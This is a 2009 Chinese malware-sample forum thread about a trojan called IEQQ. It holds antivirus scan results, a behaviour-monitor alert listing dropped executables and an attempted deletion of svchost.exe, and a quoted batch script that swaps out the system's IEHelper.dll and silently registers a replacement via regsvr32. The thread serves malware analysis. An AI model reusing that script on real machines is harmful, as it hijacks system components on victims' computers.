木马样本一个

显示全部楼层 · 发表于 2009-2-22 20:12:26

360报木马

显示全部楼层 · 发表于 2009-2-22 20:14:39

VirusBuster found nothing

显示全部楼层 · 发表于 2009-2-22 20:16:04

TO-DW

显示全部楼层 · 发表于 2009-2-22 20:16:29

File IEQQ.rar received on 02.22.2009 13:14:16 (CET)
Current status: Loading ... queued waiting scanning finished NOT FOUND STOPPED
Result: 1/39 (2.57%)

Antivirus Version Last Update Result
a-squared 4.0.0.93 2009.02.22 -
AhnLab-V3 2009.2.21.0 2009.02.22 -
AntiVir 7.9.0.87 2009.02.21 -
Authentium 5.1.0.4 2009.02.21 -
Avast 4.8.1335.0 2009.02.22 -
AVG 8.0.0.237 2009.02.21 -
BitDefender 7.2 2009.02.22 -
CAT-QuickHeal 10.00 2009.02.22 -
ClamAV 0.94.1 2009.02.22 -
Comodo 983 2009.02.20 -
DrWeb 4.44.0.09170 2009.02.22 -
eSafe 7.0.17.0 2009.02.19 -
eTrust-Vet 31.6.6368 2009.02.20 -
F-Prot 4.4.4.56 2009.02.22 -
F-Secure 8.0.14470.0 2009.02.22 -
Fortinet 3.117.0.0 2009.02.22 -
GData 19 2009.02.22 -
Ikarus T3.1.1.45.0 2009.02.22 -
K7AntiVirus 7.10.639 2009.02.21 Trojan.Win32.Msgbox.F
Kaspersky 7.0.0.125 2009.02.22 -
McAfee 5532 2009.02.21 -
McAfee+Artemis 5532 2009.02.21 -
Microsoft 1.4306 2009.02.22 -
NOD32 3877 2009.02.22 -
Norman 6.00.06 2009.02.20 -
nProtect 2009.1.8.0 2009.02.22 -
Panda 10.0.0.10 2009.02.21 -
PCTools 4.4.2.0 2009.02.22 -
Prevx1 V2 2009.02.22 -
Rising 21.17.62.00 2009.02.22 -
SecureWeb-Gateway 6.7.6 2009.02.22 -
Sophos 4.39.0 2009.02.22 -
Sunbelt 3.2.1855.2 2009.02.17 -
Symantec 10 2009.02.22 -
TheHacker 6.3.2.4.263 2009.02.21 -
TrendMicro 8.700.0.1004 2009.02.20 -
VBA32 3.12.10.0 2009.02.22 -
ViRobot 2009.2.20.1617 2009.02.20 -
VirusBuster 4.5.11.0 2009.02.21 -

显示全部楼层 · 发表于 2009-2-22 20:19:26

估计不是毒但希望是毒

显示全部楼层 · 发表于 2009-2-22 20:20:04

微点点击没有反映，，，费尔不报

显示全部楼层 · 发表于 2009-2-22 20:20:55

@echo off
rename %windir%\system32\IEHelper.dll majin.dll
copy *.* C:\WINDOWS\system32
regsvr32 /s IEHelper.dll
cls

显示全部楼层 · 发表于 2009-2-22 20:21:06

rs 0

显示全部楼层 · 发表于 2009-2-22 20:25:24

程序：
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\IEQQ.EXE
被删除文件：
C:\WINDOWS\SYSTEM32\SVCHOST.EXE
是否阻止文件被删除?
程序：
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\IEQQ.EXE
木马程序生成以下文件：
1) C:\WINDOWS\SYSTEM32\2.EXE
2) C:\WINDOWS\SYSTEM32\DETMIME.EXE
3) C:\WINDOWS\SYSTEM32\IEQQ.EXE
4) C:\WINDOWS\SYSTEM32\KEYGEN.EXE
5) C:\WINDOWS\SYSTEM32\NDS2XGL.EXE
是否删除木马程序及其衍生物?

[病毒样本] 木马样本一个

本帖子中包含更多资源

回复 6楼 nvhaichina 的帖子